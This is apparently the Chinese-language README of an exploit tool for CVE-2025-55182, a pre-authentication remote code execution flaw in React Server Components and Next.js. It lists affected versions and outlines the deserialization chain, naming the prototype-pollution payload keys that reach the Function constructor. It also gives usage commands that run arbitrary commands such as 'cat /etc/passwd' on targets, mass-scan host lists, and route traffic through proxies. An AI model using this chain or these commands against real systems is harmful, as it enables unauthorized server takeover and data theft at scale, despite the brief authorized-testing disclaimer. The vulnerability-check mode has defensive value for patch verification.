React Server Components / Next.js Pre-Authentication Remote Code Execution
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| 类型 | Pre-Auth RCE |
| 组件 | 受影响版本 |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| 相关包 | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
该漏洞利用 React Server Components (RSC) Flight 协议中的反序列化缺陷,通过构造恶意的 multipart/form-data 请求实现未授权远程代码执行。完整利用链如下:
POST multipart/form-data 配合 Next-Action 请求头触发 Server Action 路径$1:__proto__:then 访问 PENDING 状态 Chunk 1 对象上的 Chunk.prototype.then,使其成为 thenable$1:constructor:constructor 通过原型链解析为 Function 构造函数Chunk.prototype.then 调用 initializeModelChunk 解析 value 字段 '{"then":"$B0"}'$B0 blob 解析调用 _formData.get(_prefix + "0") 即 Function(code + "0")then 属性,被视为 thenable 并被调用,触发代码执行,实现 RCEpip install requests[socks]
脚本在缺少依赖时会自动尝试安装
requests和PySocks。
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP 代理
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 代理
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
批量扫描结果会写入 -o 指定的输出文件,仅记录确认存在漏洞的目标。
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 注释行会被忽略
本工具仅用于已授权的安全测试和安全研究目的。使用者必须确保已获得目标系统所有者的明确授权。未经授权对系统进行渗透测试属于违法行为,使用者需自行承担一切法律责任。
| 参数 | 说明 | 默认值 |
|---|
-u, --url | 单个目标 URL(与 -f 互斥) | - |
-f, --file | 目标 URL 列表文件,每行一个(与 -u 互斥) | - |
-c, --command | 要执行的系统命令(--check 模式下非必需) | - |
-o, --output | 结果输出文件 | results.txt |
-t, --threads | 并发线程数 | 10 |
-v, --verbose | 显示调试输出 | False |
--proxy | 代理地址,支持 HTTP 和 SOCKS5 | - |
--timeout | 请求超时时间(秒) | 15 |
--check | 仅检测漏洞,不执行系统命令 | False |
--verify-ssl | 验证 TLS 证书 | False |